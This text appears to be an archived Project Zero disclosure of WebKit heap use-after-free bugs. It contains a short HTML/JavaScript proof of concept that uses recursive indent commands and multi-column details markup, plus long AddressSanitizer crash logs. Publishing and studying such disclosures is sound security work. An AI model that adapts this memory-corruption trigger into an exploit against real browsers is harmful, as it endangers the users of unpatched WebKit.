    #20 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #21 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #22 0x108f2156c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #23 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x608000077ec8 is located 40 bytes inside of 88-byte region [0x608000077ea0,0x608000077ef8)
freed by thread T0 here:
    #0 0x10c6dc294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
    #1 0x11cb6c650 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72650)
    #2 0x110ce4081 in WebCore::Style::TreeResolver::resolveComposedTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4e081)
    #3 0x110ce4cc6 in WebCore::Style::TreeResolver::resolve() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4ecc6)
    #4 0x10e72c196 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796196)
    #5 0x10eb31887 in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb9b887)
    #6 0x1094e40e6 in WebKit::TiledCoreAnimationDrawingArea::flushLayers() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x5a90e6)
    #7 0x11005764e in WebCore::LayerFlushScheduler::layerFlushCallback() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20c164e)
    #8 0x7fffd52aed36 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6d36)
    #9 0x7fffd52aeca6 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6ca6)
    #10 0x7fffd528f135 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87135)
    #11 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #12 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #13 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #14 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #15 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #16 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #17 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #18 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #19 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #20 0x108f2156c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #21 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

previously allocated by thread T0 here:
    #0 0x10c6dbd2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffeab91281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x11cb6cad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x11cb6ad6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x11caf1247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x11caf063a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x1107568e8 in WebCore::RenderStyle::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27c08e8)
    #7 0x1107943b9 in WebCore::RenderStyle::clonePtr(WebCore::RenderStyle const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27fe3b9)
    #8 0x110794388 in WebCore::RenderStyle::createPtr() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27fe388)
    #9 0x110ca204d in WebCore::StyleResolver::styleForElement(WebCore::Element const&, WebCore::RenderStyle const*, WebCore::RenderStyle const*, WebCore::RuleMatchingBehavior, WebCore::RenderRegion const*, WebCore::SelectorFilter const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d0c04d)
    #10 0x110ce1afb in WebCore::Style::TreeResolver::styleForElement(WebCore::Element&, WebCore::RenderStyle const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bafb)
    #11 0x110ce1fc6 in WebCore::Style::TreeResolver::resolveElement(WebCore::Element&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bfc6)
    #12 0x110ce3f76 in WebCore::Style::TreeResolver::resolveComposedTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4df76)
    #13 0x110ce4cc6 in WebCore::Style::TreeResolver::resolve() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4ecc6)
    #14 0x10e72c196 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796196)
    #15 0x10eb31887 in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb9b887)
    #16 0x1094e40e6 in WebKit::TiledCoreAnimationDrawingArea::flushLayers() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x5a90e6)
    #17 0x11005764e in WebCore::LayerFlushScheduler::layerFlushCallback() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20c164e)
    #18 0x7fffd52aed36 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6d36)
    #19 0x7fffd52aeca6 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6ca6)
    #20 0x7fffd528f135 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87135)
    #21 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #22 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #23 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #24 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #25 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #26 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #27 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #28 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #29 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x46b2f) in WebCore::RenderStyle::NonInheritedFlags::getValue(unsigned long long, unsigned long long) const
Shadow bytes around the buggy address:
  0x1c100000ef80: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c100000ef90: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c100000efa0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c100000efb0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c100000efc0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
=>0x1c100000efd0: fa fa fa fa fd fd fd fd fd[fd]fd fd fd fd fd fa
  0x1c100000efe0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x1c100000eff0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x1c100000f000: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x1c100000f010: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x1c100000f020: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==30588==ABORTING
-->
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1354

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
-->

<style>
.class9 { column-span: all; }
</style>
<script>
function f() {
  document.execCommand("indent", false);
  var var00031 = window.getSelection().setBaseAndExtent(sum,16,null,6);
  f();
}
</script>
<body onload=f()>
<pre style="column-count: 78; -webkit-user-modify: read-write">
<details>
<summary id="sum" class="class9">
<content id="htmlvar00040">

<!--
=================================================================

ASan log:

=================================================================
==732==ERROR: AddressSanitizer: heap-use-after-free on address 0x611000089218 at pc 0x00010e8a4eab bp 0x7fff568795d0 sp 0x7fff568795c8
READ of size 8 at 0x611000089218 thread T0
==732==WARNING: invalid path to external symbolizer!
==732==WARNING: Failed to use and restart external symbolizer!
    #0 0x10e8a4eaa in WebCore::RenderObject::previousSibling() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x53eaa)
    #1 0x11101ce3e in WebCore::RenderObject::previousInPreOrder() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27cbe3e)
    #2 0x111001c59 in WebCore::RenderMultiColumnSet::containsRendererInFlowThread(WebCore::RenderObject const&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27b0c59)
    #3 0x110ffb18a in WebCore::findSetRendering(WebCore::RenderMultiColumnFlowThread const&, WebCore::RenderObject const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27aa18a)
    #4 0x110ffabf9 in WebCore::RenderMultiColumnFlowThread::processPossibleSpannerDescendant(WebCore::RenderObject*&, WebCore::RenderObject&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27a9bf9)
    #5 0x110ffb59e in WebCore::RenderMultiColumnFlowThread::flowThreadDescendantInserted(WebCore::RenderObject&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27aa59e)
    #6 0x110dc9aed in WebCore::RenderBlockFlow::insertedIntoTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2578aed)
    #7 0x110ea0ab6 in WebCore::RenderElement::insertChildInternal(WebCore::RenderObject*, WebCore::RenderObject*, WebCore::RenderElement::NotifyChildrenType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x264fab6)
    #8 0x110ea06f6 in WebCore::RenderElement::addChild(WebCore::RenderObject*, WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x264f6f6)
    #9 0x110d8a0c3 in WebCore::RenderBlock::addChildIgnoringContinuation(WebCore::RenderObject*, WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25390c3)
    #10 0x111184c69 in WebCore::RenderTreeUpdater::createRenderer(WebCore::Element&, WebCore::RenderStyle&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2933c69)
    #11 0x111183dab in WebCore::RenderTreeUpdater::updateElementRenderer(WebCore::Element&, WebCore::Style::ElementUpdate const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2932dab)
    #12 0x1111835a8 in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29325a8)
    #13 0x111182d7b in WebCore::RenderTreeUpdater::commit(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2931d7b)
    #14 0x10efe72f9 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7962f9)
    #15 0x10efe1ac5 in WebCore::Document::updateLayout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x790ac5)
    #16 0x10efe8542 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x797542)
    #17 0x11192f01c in WebCore::VisiblePosition::canonicalPosition(WebCore::Position const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30de01c)
    #18 0x11192edc7 in WebCore::VisiblePosition::init(WebCore::Position const&, WebCore::EAffinity) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30dddc7)
    #19 0x10f811acf in WebCore::IndentOutdentCommand::indentIntoBlockquote(WebCore::Position const&, WebCore::Position const&, WTF::RefPtr<WebCore::Element>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfc0acf)
    #20 0x10e96490a in WebCore::ApplyBlockElementCommand::formatSelection(WebCore::VisiblePosition const&, WebCore::VisiblePosition const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x11390a)
    #21 0x10e963a3e in WebCore::ApplyBlockElementCommand::doApply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x112a3e)
    #22 0x10ec00e8d in WebCore::CompositeEditCommand::apply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3afe8d)
    #23 0x10f1843e3 in WebCore::executeIndent(WebCore::Frame&, WebCore::Event*, WebCore::EditorCommandSource, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9333e3)
    #24 0x10f181ab3 in WebCore::Editor::Command::execute(WTF::String const&, WebCore::Event*) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x930ab3)
    #25 0x10f00200a in WebCore::Document::execCommand(WTF::String const&, bool, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b100a)
    #26 0x10fbf7593 in WebCore::jsDocumentPrototypeFunctionExecCommandBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13a6593)
    #27 0x10fbdf068 in long long WebCore::IDLOperation<WebCore::JSDocument>::call<&(WebCore::jsDocumentPrototypeFunctionExecCommandBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x138e068)
    #28 0x5be2c2a01027  (<unknown module>)
    #29 0x11cd5fdd7 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aadd7)
    #30 0x11cd5fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #31 0x11cd5fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #32 0x11cd58f6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)
    #33 0x11c9bc847 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1307847)
    #34 0x11c93d88a in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x128888a)
    #35 0x11bf56731 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1731)
    #36 0x11bf569a2 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a19a2)
    #37 0x11bf56d13 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1d13)
    #38 0x10fa8f615 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x123e615)
    #39 0x10fea26cd in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16516cd)
    #40 0x10f20e010 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bd010)
    #41 0x10f20dae0 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bcae0)
    #42 0x10f0eb051 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x89a051)
    #43 0x10f0fac0f in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8a9c0f)
    #44 0x10efedb0f in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x79cb0f)
    #45 0x10efe7bad in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796bad)
    #46 0x10f39a3ed in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb493ed)
    #47 0x10f39775c in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb4675c)
    #48 0x10f007523 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b6523)
    #49 0x10f58b5d0 in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3a5d0)
    #50 0x10f0a8693 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x857693)
    #51 0x10f069736 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x818736)
    #52 0x10eae5047 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294047)
    #53 0x10eadddf1 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28cdf1)
    #54 0x1115b5661 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d64661)
    #55 0x109ea943b in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb1343b)
    #56 0x109eac6d9 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb166d9)
    #57 0x109eabbc9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb15bc9)
    #58 0x10969d117 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x307117)
    #59 0x10947c695 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xe6695)
    #60 0x109485a48 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xefa48)
    #61 0x11d3d78e3 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d228e3)
    #62 0x11d3d81b1 in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d231b1)
    #63 0x7fff8c5f6320 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa7320)
    #64 0x7fff8c5d721c in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x8821c)
    #65 0x7fff8c5d6715 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87715)
    #66 0x7fff8c5d6113 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87113)
    #67 0x7fff8bb36ebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #68 0x7fff8bb36cf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #69 0x7fff8bb36b25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #70 0x7fff8a0cfa53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #71 0x7fff8a84b7ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #72 0x7fff8a0c43da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #73 0x7fff8a08ee0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #74 0x7fffa1faf8c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
